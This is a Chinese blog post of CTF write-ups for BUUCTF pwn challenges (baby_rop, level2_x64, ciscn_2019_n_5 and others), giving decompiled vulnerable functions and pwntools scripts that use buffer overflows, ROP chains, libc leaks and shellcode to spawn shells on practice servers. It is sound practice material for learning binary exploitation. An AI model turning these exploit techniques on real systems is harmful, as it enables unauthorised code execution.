<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      BUU_PWN刷题_0x10-0x1F 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        BUU_PWN刷题_0x10-0x1F
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-06-01
      </span>

                                                                        <span class="post-pubtime"> 本文共5k字 </span>

                                                                        <span class="post-pubtime">
        大约需要42min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/PWN/" title="PWN">
            <b>#</b> PWN
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[TOC]</p>
<h2 id="0x10-HarekazeCTF2019-baby-rop"><a href="#0x10-HarekazeCTF2019-baby-rop" class="headerlink" title="0x10.[HarekazeCTF2019]baby_rop"></a>0x10.[HarekazeCTF2019]baby_rop</h2><p>没后门函数：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> v4[<span class="number">16</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line"></span><br><span class="line">  system(<span class="string">&quot;echo -n \&quot;What&#x27;s your name? \&quot;&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, v4);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Welcome to the Pwn World, %s!\n&quot;</span>, v4);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./babyrop&quot;)</span></span><br><span class="line">io = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="number">28280</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./babyrop&#x27;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">sys_plt = elf.plt[<span class="string">&quot;system&quot;</span>]</span><br><span class="line">pop_rdi_ret =<span class="number">0x0400683</span></span><br><span class="line">bin_sh = <span class="number">0x0601048</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span>+ p64(pop_rdi_ret)+p64(bin_sh)+p64(sys_plt)+p64(<span class="number">0xdeadbeef</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x11-jarvisoj-level2-x64"><a href="#0x11-jarvisoj-level2-x64" class="headerlink" title="0x11.jarvisoj_level2_x64"></a>0x11.jarvisoj_level2_x64</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">ssize_t</span> <span class="title">vulnerable_function</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">128</span>]; <span class="comment">// [rsp+0h] [rbp-80h] BYREF</span></span><br><span class="line">  system(<span class="string">&quot;echo Input:&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x200</span>uLL);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>有&#x2F;bin&#x2F;sh字符串，没啥写的。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#io = process(&quot;./level2_x64&quot;)</span></span><br><span class="line">io = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="number">28783</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./level2_x64&quot;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">sys_plt = elf.plt[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">pop_rdi_ret = <span class="number">0x0004006b3</span></span><br><span class="line">bin_sh = <span class="number">0x00600A90</span></span><br><span class="line">payload = <span class="number">0x88</span>*<span class="string">&#x27;a&#x27;</span> +p64(pop_rdi_ret)+p64(bin_sh)+p64(sys_plt)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h2 id="0x12-ciscn-2019-n-5"><a href="#0x12-ciscn-2019-n-5" class="headerlink" title="0x12.ciscn_2019_n_5"></a>0x12.ciscn_2019_n_5</h2><p>啥都没开，刺激。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">yutao@pwnbaby:~/Desktop$ checksec ciscn_2019_n_5</span><br><span class="line">[*] &#x27;/home/yutao/Desktop/ciscn_2019_n_5&#x27;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      No PIE (0x400000)</span><br><span class="line">    RWX:      Has RWX segments</span><br></pre></td></tr></table></figure>

<p>可以ret2libc或者ret2shellcode</p>
<p>这里要加架构名称，不然报错。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./ciscn_2019_n_5&quot;)</span></span><br><span class="line">io = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="number">28410</span>)</span><br><span class="line">io.recv()</span><br><span class="line">payload_add = <span class="number">0x0601080</span></span><br><span class="line">payload = asm(shellcraft.sh()) </span><br><span class="line">io.send(payload)</span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x28</span>+p64(payload_add)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>注意Ubuntu18的话要加一个ret栈对齐</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> LibcSearcher</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&quot;./ciscn_2019_n_5&quot;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./ciscn_2019_n_5&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;node3.buuoj.cn&#x27;,28410)</span></span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;123&quot;</span>)</span><br><span class="line">pop_rdi_ret = <span class="number">0x00400713</span></span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">main = <span class="number">0x400636</span></span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x28</span>+p64(pop_rdi_ret) + p64(puts_got)+p64(puts_plt)+p64(main)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">puts_addr = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">libc = LibcSearcher(<span class="string">&#x27;puts&#x27;</span>,puts_addr)</span><br><span class="line">base = puts_addr - libc.dump(<span class="string">&#x27;puts&#x27;</span>)</span><br><span class="line">sys_addr = base + libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">bin_sh = base + libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line">io.sendline(<span class="number">11</span>)</span><br><span class="line">ret = <span class="number">0x4004c9</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x28</span>+p64(ret)+p64(pop_rdi_ret) +p64(bin_sh)+ p64(sys_addr)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x13-ciscn-2019-ne-5"><a href="#0x13-ciscn-2019-ne-5" class="headerlink" title="0x13.ciscn_2019_ne_5"></a>0x13.ciscn_2019_ne_5</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// [esp+0h] [ebp-100h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> src[<span class="number">4</span>]; <span class="comment">// [esp+4h] [ebp-FCh] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> v6[<span class="number">124</span>]; <span class="comment">// [esp+8h] [ebp-F8h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> s1[<span class="number">4</span>]; <span class="comment">// [esp+84h] [ebp-7Ch] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> v8[<span class="number">96</span>]; <span class="comment">// [esp+88h] [ebp-78h] BYREF</span></span><br><span class="line">  <span class="keyword">int</span> *v9; <span class="comment">// [esp+F4h] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v9 = &amp;argc;</span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0</span>);</span><br><span class="line">  setbuf(<span class="built_in">stderr</span>, <span class="number">0</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  *(_DWORD *)s1 = <span class="number">48</span>;</span><br><span class="line">  <span class="built_in">memset</span>(v8, <span class="number">0</span>, <span class="keyword">sizeof</span>(v8));</span><br><span class="line">  *(_DWORD *)src = <span class="number">48</span>;</span><br><span class="line">  <span class="built_in">memset</span>(v6, <span class="number">0</span>, <span class="keyword">sizeof</span>(v6));</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to use LFS.&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Please input admin password:&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%100s&quot;</span>, s1);</span><br><span class="line">  <span class="keyword">if</span> ( <span class="built_in">strcmp</span>(s1, <span class="string">&quot;administrator&quot;</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Password Error!&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Input your operation:&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1.Add a log.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2.Display all logs.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;3.Print all logs.&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;0.Exit\n:&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v4);</span><br><span class="line">  <span class="keyword">switch</span> ( v4 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">      <span class="keyword">return</span> result;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">      AddLog(src);</span><br><span class="line">      result = sub_804892B(argc, argv, envp);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">      Display(src);</span><br><span class="line">      result = sub_804892B(argc, argv, envp);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">      Print();</span><br><span class="line">      result = sub_804892B(argc, argv, envp);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">      GetFlag(src);</span><br><span class="line">      result = sub_804892B(argc, argv, envp);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      result = sub_804892B(argc, argv, envp);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>先输入密码为administrator，然后进入菜单。</p>
<p>问题出在GetFlag里：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">GetFlag</span><span class="params">(<span class="keyword">char</span> *src)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> dest[<span class="number">4</span>]; <span class="comment">// [esp+0h] [ebp-48h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> v3[<span class="number">60</span>]; <span class="comment">// [esp+4h] [ebp-44h] BYREF</span></span><br><span class="line">  *(_DWORD *)dest = <span class="number">48</span>;</span><br><span class="line">  <span class="built_in">memset</span>(v3, <span class="number">0</span>, <span class="keyword">sizeof</span>(v3));</span><br><span class="line">  <span class="built_in">strcpy</span>(dest, src);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;The flag is your log:%s\n&quot;</span>, dest);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>因为有fflush，其中的字符串sh可以代替&#x2F;bin&#x2F;sh</p>
<blockquote>
<p>   ROPgadget  –binary ciscn_2019_ne_5  –string “sh”</p>
</blockquote>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&quot;./ciscn_2019_ne_5&quot;</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./ciscn_2019_ne_5&quot;</span>)</span><br><span class="line"><span class="comment">#io = remote()</span></span><br><span class="line">sh_addr = <span class="number">0x080482ea</span></span><br><span class="line">sys_addr = elf.plt[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x48</span>+<span class="number">4</span>)+ p32(sys_addr)+p32(<span class="number">0xdeadbeef</span>)+p32(sh_addr)</span><br><span class="line">io.recvline()</span><br><span class="line">io.sendline(<span class="string">&quot;administrator&quot;</span>)</span><br><span class="line">io.recvline()</span><br><span class="line">io.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">io.recvline()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x14-铁人三项-第五赛区-2018-rop"><a href="#0x14-铁人三项-第五赛区-2018-rop" class="headerlink" title="0x14.铁人三项(第五赛区)_2018_rop"></a>0x14.铁人三项(第五赛区)_2018_rop</h2><p>buf那里可以覆盖。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  be_nice_to_people();</span><br><span class="line">  vulnerable_function();</span><br><span class="line">  <span class="keyword">return</span> write(<span class="number">1</span>, <span class="string">&quot;Hello, World\n&quot;</span>, <span class="number">0xD</span>u);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">ssize_t</span> <span class="title">vulnerable_function</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">136</span>]; <span class="comment">// [esp+10h] [ebp-88h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100</span>u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>leak read或者write函数地址都OK。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> LibcSearcher</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./2018_rop&quot;)</span></span><br><span class="line">io = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="number">26602</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./2018_rop&#x27;</span>)</span><br><span class="line">write_plt = elf.plt[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">read_got = elf.got[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">main = <span class="number">0x80484C6</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x88</span>+<span class="number">4</span>)+p32(write_plt)+p32(main)+p32(<span class="number">1</span>)+p32(read_got)+p32(<span class="number">4</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">read_add = u32(io.recv())</span><br><span class="line">libc = LibcSearcher(<span class="string">&#x27;read&#x27;</span>,read_add)</span><br><span class="line">base = read_add - libc.dump(<span class="string">&#x27;read&#x27;</span>)</span><br><span class="line">sys_add = base+libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">bin_sh = base +libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line">payload =<span class="string">&#x27;a&#x27;</span>*(<span class="number">0x88</span>+<span class="number">4</span>) + p32(sys_add)+p32(<span class="number">0xdeadbeef</span>)+p32(bin_sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h2 id="0x14-others-shellcode"><a href="#0x14-others-shellcode" class="headerlink" title="0x14.others_shellcode"></a>0x14.others_shellcode</h2><p>就，，完全不知道这题想表达啥，可能就是想讲一下系统调用吧。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">.text:00000550 getShell        proc near               ; CODE XREF: main+D↓p</span><br><span class="line">.text:00000550 ; __unwind &#123;</span><br><span class="line">.text:00000550                 push    ebp</span><br><span class="line">.text:00000551                 mov     ebp, esp</span><br><span class="line">.text:00000553                 call    __x86_get_pc_thunk_ax</span><br><span class="line">.text:00000558                 add     eax, (offset _GLOBAL_OFFSET_TABLE_ - $)</span><br><span class="line">.text:0000055D                 xor     edx, edx        ; envp</span><br><span class="line">.text:0000055F                 push    edx</span><br><span class="line">.text:00000560                 push    68732F2Fh</span><br><span class="line">.text:00000565                 push    6E69622Fh</span><br><span class="line">.text:0000056A                 mov     ebx, esp        ; file</span><br><span class="line">.text:0000056C                 push    edx</span><br><span class="line">.text:0000056D                 push    ebx</span><br><span class="line">.text:0000056E                 mov     ecx, esp        ; argv</span><br><span class="line">.text:00000570                 mov     eax, 0FFFFFFFFh</span><br><span class="line">.text:00000575                 sub     eax, 0FFFFFFF4h</span><br><span class="line">.text:00000578                 int     80h             ; LINUX - sys_execve</span><br><span class="line">.text:0000057A                 nop</span><br><span class="line">.text:0000057B                 pop     ebp</span><br><span class="line">.text:0000057C                 retn</span><br><span class="line">.text:0000057C ; &#125; // starts at 550</span><br></pre></td></tr></table></figure>

